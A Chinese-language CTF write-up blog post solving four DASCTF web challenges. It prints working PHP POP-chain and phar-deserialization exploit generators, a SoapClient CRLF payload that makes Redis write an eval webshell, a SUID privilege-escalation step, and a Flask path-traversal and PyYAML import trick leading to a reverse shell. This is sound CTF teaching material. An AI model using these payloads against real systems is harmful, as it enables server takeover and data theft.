March 2, 2023

DASCTF 十月挑战赛

前言

感觉还是学了挺多东西的,DASCTF的题都让我眼前一亮,学的很有劲,也认识到了自己的菜鸡呜呜呜

参考

EasyPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
private $cmd;
private $content;

public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}

public function __invoke()
{
call_user_func($this->cmd, $this->content);
}

public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}

class show
{
public $ctf;
public $time = "Two and a half years";

public function __construct($ctf)
{
$this->ctf = $ctf;
}


public function __toString()
{
return $this->ctf->show();
}

public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}


}

class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;

public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}

public function __sleep()
{
$this->hint = new secret_code();
}

public function __get($name)
{
$name = $this->key;
$name();
}


public function __destruct()
{
if ($this->password == $this->name) {

echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}


public function getPassword()
{
return $this->password;
}

public function setPassword($password): void
{
$this->password = $password;
}


}

class secret_code
{
protected $code;

public static function secret()
{
include_once "hint.php";
hint();
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
}
}


if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
}
Ctfer: Duration of practice: Two and a half years

说是说简单的PHP,当时写的时候绕死我了草!
pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

class fine
{
public $cmd='system';
public $content='cat /flag';
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}



}
class show
{
public $ctf;

public function __construct($file,$value)
{
$this->ctf = new secret_code($file,$value);
}


public function __toString()
{
return $this->ctf->show();
}



}

class sorry
{
public $name=0;
public $password;
public $hint;
public $key;

public function __construct($file,$value)
{
$this->hint=$file;
$this->key=$value;
}

public function __get($name)
{
$name = $this->key;
$name();
}


public function __destruct()
{
echo $this->hint;
}
}
class secret_code
{
public $code;

public function __construct($file,$value){
$this->code=new sorry($file,$value);
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
}
}

$b=new fine();
$a=new show('a',$b);
$c=new sorry($a,$b);
echo serialize($c)
?>

pop触发链为sorry::__destruct=>show::__toString=>secret_code::show()=>sorry::__get=>fine::__invoke()
简单易懂,一点不含糊

hade_waibo

DASCTF的题真能让我感到澎湃啊
我感觉最接近答案的一次
考点:利用指针绕过__wakeup,Phar反序列化,通配符,任意文件下载
开始审题:
进入之后输入用户名,然后有三个功能:
image.png
第一个对应文件上传:
image.png
上传成功后返回路径:image.png
第二个对应删除上传的文件:
image.png
第三个就是重点了,他是一个查找图片的功能,这边就得联想到我们的任意文件下载了:
image.png
假如我们输入:file.php
源码中的img的数据就会改变(base64),这边直接解码得到file.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>login</title>
<link rel="stylesheet" type="text/css" href="css/button.css" />
<link rel="stylesheet" type="text/css" href="css/button.min.css" />
<link rel="stylesheet" type="text/css" href="css/input.css" />
<style>
.show{
text-align:center;
margin-left:auto;
margin-right:auto;
margin-top:240px;
}
.run{
text-align:right;
margin-left:auto;
margin-right:auto;
}

</style>
</head>
<body>
<div class="run">
<div class="ui animated button" tabindex="0" onclick="window.location.href='file.php?m=logout'">
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">润!</font>
</font>
</div>
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">🏃</font>
</font>
</div>
</div>
</div>
<div class="show">



<?php
error_reporting(0);
session_start();
include 'class.php';

if($_SESSION['isLogin'] !== true){
die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");
}
$form = '
<form action="file.php?m=upload" method="post" enctype="multipart/form-data" >
<input type="file" name="file">
<button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
提交
</font></font></button>
</form>';



$file = new file();
switch ($_GET['m']) {

case 'upload':
if(empty($_FILES)){die($form);}

$type = end(explode(".", $_FILES['file']['name']));
if ($file->check($type)) {
die($file->upload($type));
}else{
die('你食不食油饼🤬');
}
break;

case 'show':
die($file->show($_GET['filename']));
break;

case 'rm':
$file->rmfile();
die("全删干净了捏😋");
break;

case 'logout':
session_destroy();
die("<script>alert('已退出登录');location.href='index.php'</script>");
break;

default:
echo '<h2>Halo! '.$_SESSION['username'].'</h2>';
break;
}
?>



<div class="ui animated button" tabindex="0" onclick="window.location.href='file.php?m=upload'">
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">来点😍图</font>
</font>
</div>
<div class="hidden content">
<font style="vertical-align: inherit;">🥵</font>
</font>
</div>
</div>

<div class="ui vertical animated button" tabindex="0" onclick="window.location.href='file.php?m=rm'">
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">销毁证据</font>
</font>
</div>
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">🧹</font>
</font>
</div>
</div>

<div class="ui animated fade button" tabindex="0" onclick="window.location.href='file.php?m=show'">
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">cancan need</font>
</font>
</div>
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">👀</font>
</font>
</div>
</div>
<script src="js/package.js"></script>
</div>
</body>
</html>

从这里还可以发现有一个class.php,读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}

class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");

public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}

}

#更新了一个恶意又有趣的Test类
class Test
{
public $value;

public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}

}

大致重要的就这两个类了,我第一眼看到了Wakeup以为是可以绕过的,结果不行,原因是什么呢,我们看一下PHP的版本image.png
wow,令人尊贵的7.45版本,看来是有意安排这样,**__wakeup的常规绕过在7.03下才有用!**简单的分析了一下,假如这样不行那怎么样才可以去调用backdoor函数呢,先分析一下backdoor函数:

1
2
3
4
5
6
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}

首先是无数字字母,但肯定不能用eval的无字母数字rce,因为system是不会识别的(测试),自然想到通配符.?*,?被ban了所以只可以考虑.*记得命令执行里有个tips是文件上传poc吗,那里面的payload是???/?????这种类型的,我们是不是也可以呢?
注意backdoor里的chdir('./upload');析构函数执行后回切换到upload目录下
再补充一个air的小tips,不管你的后缀名是什么,看如下例子

1
ls

image.png
成功的执行了命令,到这里思路就有一半了,那肯定是利用. ./*:
image.png
在本地可以复现成功,但有一个前提,就是1.png文件必须在第一个否则通配符是无法识别的
问题又来了

1
2
3
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}

这个__wakeup我们究竟如何绕过,我们不要忽略了user类:

1
2
3
4
5
6
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}

我们让username的值为. ./*然后让backdoor中的value指针指向User中的username,是否就可以绕过了呢?为了验证一下我在本地进行了如下复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class foo{
public $name="boogipop";
}
class smart{
public $shell="ls";
public function __wakeup(){
$shell='';
}
}
$a=new smart();
$b=new foo();
$a->shell=&$b->name;
$str=serialize($a);
var_dump(unserialize($str));
?>

//object(smart)#3 (1) { ["shell"]=> string(8) "boogipop" }

结果不是空,说明可以绕过,那OK,思路已经被证明了,剩下的就是去解题了,还有个小问题就是如何取触发反序列化呢,我们从任意文件下载多少可以猜出来,读取的语句是file_get_contents(),那也就是说我们只需要进行一个phar反序列化即可,Lets make POP

非预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class User{
public $username;
}
class Test
{
public $value;

}
$b=new User();
$a=new Test();
$b->aaa=$a;
$a->value=&$b->username;
echo serialize($b);
$phar = new Phar("abcd.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

upload/dasctf840b364c5ed3ba9e9f5062fa07aa9216.jpg
这里的:

1
$b->aaa=$a;

是为了让value成功指向username
这是正常的序列化后的User类
image.png
假如不加那一句话就变成了:
image.png
可以看到类型变成了N,没有指向成功
先上传我们的shell.jpg文件,然后再上传phar文件,最后phar文件包含:
image.png
再利用任意文件下载得到即可得到flag

预期解

同样的,预期解是利用* /*去读取文件,上传一个名为cat的文件,然后读出flag
这里就放一下@succ3师傅的题解了,因为大部分一样
第一条pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class User
{
public $username;
}

class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->username = $Test;
echo serialize($User);

$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

此时就写入了cat:
image.png
第二步就和非预期一模一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class User
{
public $username;
}

class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$User->a = $Test;
$Test->value = &$User->username;
echo serialize($User);

$phar = new Phar("ddd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($User); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

然后同样的phar文件包含即可了

分析一个小坑

经过一系列测试,发现非预期解解法中有2个疑点,第一点就是

1
$b->aaa=$a;

反序列化中这两句意在何为,另一个就是之后phar反序列化为什么最后只可以是jpg格式,png格式就无法复现
第一个坑点在上面已经分析过了,为了让value成功的指向username
第二个需要在本地进行测试,我准备了以下测试页面:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Foo{
public $value="empty";
public function __destruct(){
if($this->value=='key'){
phpinfo();
}
}
}
echo file_get_contents($_GET['a']);
?>

我们也生成一个phar,把后缀名改为png,发现也可以成功触发啊:
image.png
那为什么题目中改为png就无法触发呢?猜测只可能是一种原因了,那就是假如改为png,我们上传的shell图片就不是排在第一位,也就是无法执行命令,只有这一种可能了

EasyLove

考点:原生类SSRF打有密码的REDIS
redis数据库还没学呜呜呜呜,一定学完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;

public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
$this->wllm = $wllm;
$this->arsenetang = $arsenetang;
$this->l61q4cheng = $l61q4cheng;
$this->love = $love;
}
public function newnewnew(){
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
}

public function flag(){
$this->love->getflag();
}

public function __destruct(){
$this->newnewnew();
$this->flag();
}
}
class hint{
public $hint;
public function __destruct(){
echo file_get_contents($this-> hint.'hint.php');
}
}
$hello = $_GET['hello'];
$world = unserialize($hello);

也是个反序列化,我们来先得到hint,编写POP:
?hello=O:4:"hint":1:{s:4:"hint";s:14:"/var/www/html/";}
小tips(file_get_contents要用绝对路径)
image.png
得到了一句话猜测为redis数据库的密码
然后就是直接打了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$target = "http://127.0.0.1:6379";
$option = array("location"=>$target,"uri"=>"hello\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x '<?@eval(\$_POST[1]);?>'\r\nCONFIG SET dbfilename boogipop.php\r\nSAVE\r\nhello");
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
public function __construct()
{
$this->wllm = "SoapClient";
$this->arsenetang = Null;
}
}
$aa = new swpu();
$aa->l61q4cheng = $option;
echo urlencode(serialize($aa));
?>

这里执行之后蚁剑上号,发现flag文件没权限读取,肯定需要提权,在bin目录下找了一下有s权限的命令:
image.png
发现有个date那就用date提权去读取flag了:
image.png

BlogSystem

https://pysnow.cn/category/code/
考点:yaml反序列化,JWT伪造,任意文件下载
出题人:Pysnow
看到这个出题人还是挺震惊的,因为前阵子就和他交流过,原来是大佬吗!snow师傅tql!

image.png
一个登录界面,会发现admin无法注册,那也就是要我们得到admin账户,我们注册普通账户后会返回一个sessionid:
image.png
看一眼就知道是JWT,那我们现在要知道的就是key了,在博客发现了pysnow师傅一共发了三篇文章:
image.png
在flask基础总结发现了可疑的key:
image.png
猜测这个就是key7his_1s_my_fav0rite_ke7,之后用flask-session-manager去伪造:
image.png
然后就可以获得admin权限,之后会发现多了一个download功能:
image.png
进去看看:
image.png
可爱的勾勾,看到有个path,猜测为文件读取,这边尝试目录穿越:
image.png
返回了个这个,可是我们明明请求了../,也就是说有过滤,我们的..被替换为了空,再次尝试:
image.png
发现//也会被替换为空,到这里思路清晰就利用.//./实现绕过,去目录穿越,可以读到app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import *
import config

app = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *
from view import *

app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')


@app.context_processor
def login_statue():
username = session.get('username')
if username:
try:
user = User.query.filter(User.username == username).first()
if user:
return {"username": username, 'name': user.name, 'password': user.password}
except Exception as e:
return e
return {}


@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', 80)

然后可以根据flask的目录结构,去读取view目录下的一些文件,读取__init__.py:
image.png
发现了2个可疑的导入点,读取blog.py和index.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_file
from werkzeug.security import check_password_hash
from decorators import login_limit, admin_limit
from model import *
import os

index = Blueprint("index", __name__)


@index.route('/')
def hello():
return render_template('index.html')


@index.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')
if request.method == 'POST':
name = request.form.get('name')
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if user is not None:
flash("该用户名已存在")
return render_template('register.html')
else:
user = User(username=username, name=name)
user.password_hash(password)
db.session.add(user)
db.session.commit()
flash("注册成功!")
return render_template('register.html')


@index.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
user = User.query.filter(User.username == username).first()
if (user is not None) and (check_password_hash(user.password, password)):
session['username'] = user.username
session.permanent = True
return redirect(url_for('index.hello'))
else:
flash("账号或密码错误")
return render_template('login.html')


@index.route("/updatePwd", methods=['POST', 'GET'])
@login_limit
def update():
if request.method == "GET":
return render_template("updatePwd.html")
if request.method == 'POST':
lodPwd = request.form.get("lodPwd")
newPwd1 = request.form.get("newPwd1")
newPwd2 = request.form.get("newPwd2")
username = session.get("username")
user = User.query.filter(User.username == username).first()
if check_password_hash(user.password, lodPwd):
if newPwd1 != newPwd2:
flash("两次新密码不一致!")
return render_template("updatePwd.html")
else:
user.password_hash(newPwd2)
db.session.commit()
flash("修改成功!")
return render_template("updatePwd.html")
else:
flash("原密码错误!")
return render_template("updatePwd.html")


@index.route('/download', methods=['GET'])
@admin_limit
def download():
if request.args.get('path'):
path = request.args.get('path').replace('..', '').replace('//', '')
path = os.path.join('static/upload/', path)
if os.path.exists(path):
return send_file(path)
else:
return render_template('404.html', file=path)
return render_template('sayings.html',
yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')


@index.route('/logout')
def logout():
session.clear()
return redirect(url_for('index.hello'))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import os
import random
import re
import time

import yaml
from flask import Blueprint, render_template, request, session
from yaml import Loader

from decorators import login_limit, admin_limit
from model import *

blog = Blueprint("blog", __name__, url_prefix="/blog")


def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True


@blog.route('/writeBlog', methods=['POST', 'GET'])
@login_limit
def writeblog():
if request.method == 'GET':
return render_template('writeBlog.html')
if request.method == 'POST':
title = request.form.get("title")
text = request.form.get("text")
username = session.get('username')
create_time = time.strftime("%Y-%m-%d %H:%M:%S")
user = User.query.filter(User.username == username).first()
blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)
db.session.add(blog)
db.session.commit()
blog = Blog.query.filter(Blog.create_time == create_time).first()
return render_template('blogSuccess.html', title=title, id=blog.id)


@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
try:
file = request.files.get('editormd-image-file')
fileName = file.filename.replace('..','')
filePath = os.path.join("static/upload/", fileName)
file.save(filePath)
return {
'success': 1,
'message': '上传成功!',
'url': "/" + filePath
}
except Exception as e:
return {
'success': 0,
'message': '上传失败'
}


@blog.route('/showBlog/<id>')
def showBlog(id):
blog = Blog.query.filter(Blog.id == id).first()
comment = Comment.query.filter(Comment.blog_id == blog.id)
return render_template("showBlog.html", blog=blog, comment=comment)


@blog.route("/blogAll")
def blogAll():
blogList = Blog.query.order_by(Blog.create_time.desc()).all()
return render_template('blogAll.html', blogList=blogList)


@blog.route("/update/<id>", methods=['POST', 'GET'])
@login_limit
def update(id):
if request.method == 'GET':
blog = Blog.query.filter(Blog.id == id).first()
return render_template('updateBlog.html', blog=blog)
if request.method == 'POST':
id = request.form.get("id")
title = request.form.get("title")
text = request.form.get("text")
blog = Blog.query.filter(Blog.id == id).first()
blog.title = title
blog.text = text
db.session.commit()
return render_template('blogSuccess.html', title=title, id=id)


@blog.route("/delete/<id>")
@login_limit
def delete(id):
blog = Blog.query.filter(Blog.id == id).first()
db.session.delete(blog)
db.session.commit()
return {
'state': True,
'msg': "删除成功!"
}


@blog.route("/myBlog")
@login_limit
def myBlog():
username = session.get('username')
user = User.query.filter(User.username == username).first()
blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()
return render_template("myBlog.html", blogList=blogList)


@blog.route("/comment", methods=['POST'])
@login_limit
def comment():
text = request.values.get('text')
blogId = request.values.get('blogId')
username = session.get('username')
create_time = time.strftime("%Y-%m-%d %H:%M:%S")
user = User.query.filter(User.username == username).first()
comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)
db.session.add(comment)
db.session.commit()
return {
'success': True,
'message': '评论成功!',
}


@blog.route('/myComment')
@login_limit
def myComment():
username = session.get('username')
user = User.query.filter(User.username == username).first()
commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()
return render_template("myComment.html", commentList=commentList)


@blog.route('/deleteCom/<id>')
def deleteCom(id):
com = Comment.query.filter(Comment.id == id).first()
db.session.delete(com)
db.session.commit()
return {
'state': True,
'msg': "删除成功!"
}


@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
if request.args.get('path'):
file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
try:
with open(file, 'rb') as f:
f = f.read()
if waf(f):
print(yaml.load(f, Loader=Loader))
return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
else:
return render_template('sayings.html', yaml='鲁迅说:你说得不对')
except Exception as e:
return render_template('sayings.html', yaml='鲁迅说:'+str(e))
else:

with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
sayings = yaml.load(f, Loader=Loader)
saying = random.choice(sayings)
return render_template('sayings.html', yaml=saying)

不难发现blog.py中存在一个pyyaml反序列化的利用,有关文章可以参考:

但是审计一下也可以发现有waf进行过滤

1
2
3
4
5
6
7

def waf(data):
if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
return False
else:
return True

常用的几个标签被ban了,只剩下了module标签,python/module标签对应的方法是construct_python_module里面调用了find_python_module等价于import,也就是导包,利用的方式也很简单:

重点是如果uploads目录下有__init__.py,那么payload直接就是!!Python/module:uploads即可触发
目前我们网页所在的地址是/app文件夹下,我们可以控制的文件夹是/app/static/upload,我们可以上传文件
思路就更加清晰了,上传__init__.py,里面构造一个反弹shell
再上传一个poc.txt里面就写!python/module:static.upload即可
image.png
在写一个__init__.py:
image.png
再去blog/saying路由去传递path参数static/upload/poc.txt,在本地监听一下7777端口:
image.png
成功反弹!根目录下直接得到flag咯:
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#DASCTF